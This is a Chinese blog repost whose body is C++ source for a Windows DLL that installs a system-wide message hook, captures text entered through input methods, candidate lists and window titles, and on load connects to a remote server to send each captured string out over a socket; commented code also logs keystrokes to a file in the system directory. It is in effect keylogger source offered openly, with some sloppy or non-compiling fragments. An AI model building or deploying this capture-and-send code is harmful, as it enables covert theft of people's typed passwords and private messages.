博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
获取输入法输入内容及后选项的钩子
阅读量:6260 次
发布时间:2019-06-22

本文共 11125 字,大约阅读时间需要 37 分钟。

#include "stdafx.h"

#include "windows.h"
#include "imm.h"
#include "stdio.h"
#include <tchar.h>
#include <wchar.h>
#include <strsafe.h>
#include <string>
#include "tool.h"
#include <WinSock2.h>
#include <msctf.h>
#include <Ctffunc.h>
#include "ClientSocket.h"
#pragma comment(lib, "imm32.lib")

#define HOOK_API __declspec(dllexport)

#pragma data_seg(".shared")

FILE * glpFile = NULL;
HHOOK glHook = NULL; //!钩子句柄
HINSTANCE glhModule = NULL; //!DLL实例
HWND g_wnd = NULL;//监控窗体句柄
//BYTE glKeyMap[KEYMAP_SIZE] = {0}; //!存放键盘映射表,全局共享

HHOOK g_hHook = NULL; //hook句柄

HINSTANCE g_hHinstance = NULL; //程序句柄
stds::tool* ptool = NULL;
#pragma data_seg()
#pragma comment(linker, " /SECTION:.shared,RWS")

 

HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd; //当前窗口句柄,必须使全局的
ClientSocket* sock = NULL;

//字符串临时缓存长度

#ifndef _MAX_BUF_
#define _MAX_BUF_ 256
#endif

wchar_t title[256]; //获得窗口名字

wchar_t *ftemp; //begin/end 写到文件里面
wchar_t temptitle[256]=TEXT("<<标题:"); //<<标题:窗口名字>>
wchar_t t[2]={0,0}; //捕获单个字母

extern "C" _declspec(dllexport) void SetWindowHandle(HWND wnd) {

g_wnd = wnd;
}

extern "C" _declspec(dllexport) HWND GetWindowHandle() {

return g_wnd;
}

extern "C" _declspec(dllexport) void ConnectToServer() {

//if (sock == NULL)
// pClientSocket = new ClientSocket();
sock->ConnectToServer();
}

 

HWND GetMainWindowHandle() {
HWND h = ::GetTopWindow(0 );
while ( h )
{
DWORD pid;
DWORD dwTheardId = ::GetWindowThreadProcessId( h,&pid);
if ( pid == 0/*your process id*/ )
{
// here h is the handle to the window
break;
}
h = ::GetNextWindow( h , GW_HWNDNEXT);
}
return h;
}

void StartSocket() {

}
void EndSocket() {
}
HANDLE m_hMapFile;
void FileMapping(TCHAR* lpstr)
{
//打开共享的文件对象。
m_hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS,
FALSE,_T("TestFileMap"));
LPTSTR lpMapAddr;
if (m_hMapFile)
{
//显示共享的文件数据。
lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
0,0,0);
// OutputDebugString(lpMapAddr);
}
else
{
//创建共享文件。
m_hMapFile = CreateFileMapping( (HANDLE)0xFFFFFFFF,NULL,
PAGE_READWRITE,0,1024,_T("TestFileMap"));
lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
0,0,0);
}

//拷贝数据到共享文件里。

std::wstring strTest(lpstr);
wcscpy(lpMapAddr,strTest.c_str());

FlushViewOfFile(lpMapAddr,strTest.length()+1);

//PostMessage(
}

void Logs(TCHAR* lpstr)

{
/*FILE *fp;
errno_t ecode = _wfopen_s(&fp, TEXT("D:\\temp\\HookIMEW32Demo\\Debug\\Test.txt"),L"ab+");
if (fp != NULL)
{
fwprintf(fp, lpstr);
fclose(fp);
}*/

//TCHAR exeFullPath[MAX_PATH]={0};
//GetModuleFileName(glhModule, exeFullPath, MAX_PATH);
//GetModuleFileName(glhModule
//std::wstring path = get_exeute_path();
//MessageBox(NULL, exeFullPath, NULL, NULL);
//FileMapping(lpstr);
std::wstring s(lpstr);
sock->SendString(s);
// return;

}

 

void writefile(wchar_t *lpstr)
{//保存为文件
FILE* f1;
wchar_t cmd[256];
GetSystemDirectory(cmd,256);
lstrcat(cmd,TEXT("\\hooktxt.txt"));
//f1=fopen(cmd,"a+");
//errno_t ecode = _wfopen_s(&f1, TEXT("D:\\temp\\HookIMEDemo\\Debug\\Test.txt"),L"ab+");
errno_t ecode = _wfopen_s(&f1, cmd,L"ab+");
fwrite(lpstr,lstrlen(lpstr),1,f1);
//fwprintf(f1, lpstr);
fclose(f1);
}
void writtitle()
{//保存当前窗口
FocusWnd = GetActiveWindow();
if(LastFocusWnd != FocusWnd)
{
ftemp=TEXT("\n---------End----------\n");
//writefile(ftemp);
Logs(ftemp);
ftemp=TEXT("\n--------begin---------\n");
//writefile(ftemp);
Logs(ftemp);
GetWindowText(FocusWnd, title, 256); //当前窗口标题
LastFocusWnd = FocusWnd;
lstrcat(temptitle,title);
lstrcat(temptitle,TEXT(">>\n"));
//writefile(temptitle);
Logs(temptitle);
}
}

//wParam Command

//lParam Data
HWND lastHwnd;
DWORD lastTime;
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
_wsetlocale(0, L"chs");
//stds::tool _t;
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
TCHAR lpstr[20];
//TCHAR szBuf[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。
//writtitle(); //保存当前窗口
//writefile(lpstr); //保存为文件
//MessageBox(NULL, lpstr, lpstr, MB_OK);
Logs(lpstr);

//LPDWORD lpDword = NULL;

//ImmGetCandidateListCount(hIMC, lpDword);
//wsprintf(s, TEXT("%d"), *lpDword);
//StringCchPrintf(szBuf, 20/sizeof(TCHAR), TEXT("candidate: %d\r\n"), *lpDword);
//Logs(szBuf);

ImmReleaseContext(hWnd, hIMC);

}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
break;
{
wchar_t ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
//writtitle();
t[0]=ch;
//writefile(t);
Logs(t);
}
if (ch>=8 && ch<=31) //控制字符
{
switch(ch)
{
case 8:
lstrcpy(str,TEXT("[退格]"));
break;
case 9:
lstrcpy(str,TEXT("[TAB]"));
break;
case 13:
lstrcpy(str,TEXT("[Enter]"));
break;
default:
lstrcpy(str,TEXT("n"));
}
if (lstrcmp(str,TEXT("n")))
{
//writtitle();
//writefile(str);
Logs(str);
}
}
}
break;
case WM_IME_STARTCOMPOSITION:
break;
case WM_IME_COMPOSITIONFULL:
break;
case WM_IME_ENDCOMPOSITION:
break;
case WM_IME_NOTIFY:

HWND hWnd = pmsg->hwnd;

HIMC hIMC = NULL;
DWORD dwSize = 0;
char*p = NULL;
TCHAR szBuf[30];
std::string strCL;
int nR;
memset(szBuf, 0, sizeof(TCHAR) * 30);
CANDIDATEFORM form;
//LPCANDIDATEINFO lpCandInfo;
CANDIDATELIST candList;
LPCANDIDATELIST lp = NULL;
//LPIMC lpImc;
这里只关心IMN_CHANGECANDIDATE这个消息,输入法选项的变化
//IMN_OPENCANDIDATE IMN_CLOSECANDIDATE
if (pmsg->wParam & IMN_CHANGECANDIDATE)
{
if (lastHwnd == pmsg->hwnd && lastTime == pmsg->time) {
} else {
TCHAR title[400],title2[400];
memset(title, 0, sizeof(TCHAR) * 400);
memset(title2, 0, sizeof(TCHAR) * 400);
HWND wnd = GetActiveWindow();
GetWindowText(wnd, title, 256); //当前窗口标题
GetWindowText(pmsg->hwnd, title2, 256);

// 获取当前正在输入的窗口的输入法句柄

hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0);
if (dwSize>0)
{
p = new char[dwSize];
lp = (LPCANDIDATELIST)p;
nR = ImmGetCandidateList(hIMC, 0, lp, dwSize);
//若是取其它窗口的IMM状态,则lp->dwStyle的值为零(Unknown)。
//否则返回一,表示可以读取lp指向的数据结构!
if (nR && lp->dwCount>1)
{
int i=1;
char temp[_MAX_BUF_];
ZeroMemory(temp,sizeof(temp));
int nOffset;
while ( (i<lp->dwCount-lp->dwSelection+1) &&
(i<lp->dwPageSize+1) )
{
std::wstring sT= (wchar_t *)(p + lp->dwOffset[lp->dwPageStart+(i-1)]);
sprintf( temp , " %d." , i);
strCL = strCL + temp;
strCL = strCL + "" + ptool->ws2s(sT);
i++;
}
if (strCL.find_first_not_of(' ') != -1)
{
strCL =strCL.substr(strCL.find_first_not_of(' '),strCL.length());
//例如“万能五笔输入法中”状态中输入字符"k",strCL变为下值
//1.中 2.口 3.员工maa 4.哎呀aka 5.只w 6.员m
}
}
delete p;
}
else
{
//OutputDebugString(L"Error: dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0);<= 0 /n");
}
const char* s = strCL.c_str();
//stds::tool t;
std::wstring ws = ptool->s2ws(strCL);
const wchar_t* wbuffer = ws.c_str();
Logs((TCHAR*)wbuffer);
//MessageBox(NULL, wbuffer, wbuffer, MB_OK);
//m_candidate = strCL;
// 通过句柄得到IMC结构 (input method context)
//lpImc = ImmLockIMC(hIMC);
// 得到候选项信息
//lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
// 得到输入法的候选项列表
//lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]);
// 成功:)之后就可以做进一步的处理
//ImmGetCandidateListCount(hIMC, &dword);
//DWORD idx = 0;
//ImmGetCandidateList(hIMC, idx, &candList, 200);
//wsprintf(szBuf, TEXT("candidate:%d"), candList.dwCount);
//candList.dwOffset
//StringCchPrintf(szBuf, 30/sizeof(TCHAR), TEXT("candidate: %d\r\n"), dword);
//;
//candList.dwCount
//wchar_t* t = (wchar_t*)candList.dwOffset;
//MessageBox(NULL, szBuf, szBuf, MB_OK);
//MessageBox(NULL, t, t, MB_OK);
//Logs(szBuf);
// // 通过句柄得到IMC结构 (input method context)
// lpImc = ImmLockIMC(hIMC);
// // 得到候选项信息
// lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
// // 得到输入法的候选项列表
//lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]);
//lpCandList->
// // 成功:)之后就可以做进一步的处理
}
}

lastHwnd = pmsg->hwnd;

lastTime = pmsg->time;
break;
}
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
return(lResult);
}
//HOOK_API BOOL InstallHook()
extern "C" HOOK_API BOOL InstallHook()
{
//MessageBox(NULL, TEXT("InstallHook"), NULL, NULL);
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
//HOOK_API BOOL UnHook()
extern "C" HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}

void TFSTest() {

CoInitialize(0);
HRESULT hr = S_OK;
ITfCompartmentMgr *pCompMgr = NULL;
ITfContext *_pContextCandidateWindow = NULL;
TfEditCookie ecTmp;
TfClientId tfClientId;
ITfDocumentMgr *pDocumentMgr;
ITfThreadMgr* pThreadMgr;
ITfThreadMgr2* pThreadMgr2;

hr = CoCreateInstance(CLSID_TF_ThreadMgr,

NULL,
CLSCTX_INPROC_SERVER,
IID_ITfThreadMgr,
(void**)&pThreadMgr);
hr = CoCreateInstance(CLSID_TF_ThreadMgr,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfThreadMgr2,
(void**)&pThreadMgr);
hr = pThreadMgr->CreateDocumentMgr(&pDocumentMgr);

if (FAILED(pDocumentMgr->CreateContext(tfClientId, 0, NULL, &_pContextCandidateWindow, &ecTmp))) {

}

//IID_ITfCandidateListUIElement e;

//ITfCompartment *m_pCompartment;
//CoCreateInstance(IID_ITfCompartment, &m_pCompartment, )
//HRESULT hr;
if (_pContextCandidateWindow->QueryInterface(IID_ITfCompartmentMgr, (void **)&pCompMgr) == S_OK) {
}

ITfCompartment *pCompartment;

if (pCompMgr->GetCompartment(GUID_COMPARTMENT_KEYBOARD_OPENCLOSE, &pCompartment) == S_OK) {
}
ITfInputProcessorProfiles *pProfiles;
hr = CoCreateInstance(CLSID_TF_InputProcessorProfiles,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfInputProcessorProfiles,
(LPVOID*)&pProfiles);

 

ITfSource *pSource;

//IUnknown p;
//hr = p.QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
hr = pThreadMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pSource->Release();
}
hr = _pContextCandidateWindow->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pSource->Release();
}
hr = pCompMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pSource->Release();
}
hr = pProfiles->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pProfiles->Release();
}
if (SUCCEEDED(hr))
{
pSource->Release();
}

/*ITfFnReconversion pREconverstion;

ITfRange range;
ITfFnReconversion::QueryRange()
ITfCandidateList *pCandidateList = new ITfCandidateList();
GetReconversion(&range, &ppCandList);
//hr = m_pCompartment->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
hr = pSource->AdviseSink(IID_ITfCompartmentEventSink,
(ITfCompartmentEventSink*)this,
&m_dwCookie);

pSource->Release();

}*/
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
ptool = new stds::tool();
if (sock == NULL)
sock = new ClientSocket();
sock->Startup();
sock->ConnectToServer();
//StartSocket();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
delete ptool;
ptool = NULL;
sock->Close();
delete sock;
//EndSocket();
//pClientSocket->Close();
//pClientSocket = NULL;
break;
}
return TRUE;
}

转载地址:http://scqsa.baihongyu.com/

你可能感兴趣的文章
【转】TCP 网络状态图详解
查看>>
SQL Server之 (二) SQL语句 模糊查询 空值处理 聚合函数
查看>>
All about Using Burp Suite
查看>>
Nikto and whatweb
查看>>
无人值守工业控制系统网络安全解决方案
查看>>
c#设计模式之:外观模式(Facade)
查看>>
macvtap与vhost-net技术
查看>>
解决DESCryptoServiceProvider加解密时弱密钥异常
查看>>
Linux远程登录ssh免密码配置方法(仅供参考)
查看>>
validateJarFile jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet
查看>>
html5学习笔记——html保留标签(二)
查看>>
二分图判定--黑白染色
查看>>
ios 处理 touch 事件时偶尔的击穿现象
查看>>
第105天:Ajax 客户端与服务器基本知识
查看>>
LeetCode70——爬楼梯
查看>>
windows phone 中的TextBlock的一些特性(TextWrapping,TextWrapping)
查看>>
引用类型起的锅
查看>>
java String 类特点
查看>>
LeetCode 300. Longest Increasing Subsequence / 354. Russian Doll Envelopes
查看>>
Loj #2192. 「SHOI2014」概率充电器
查看>>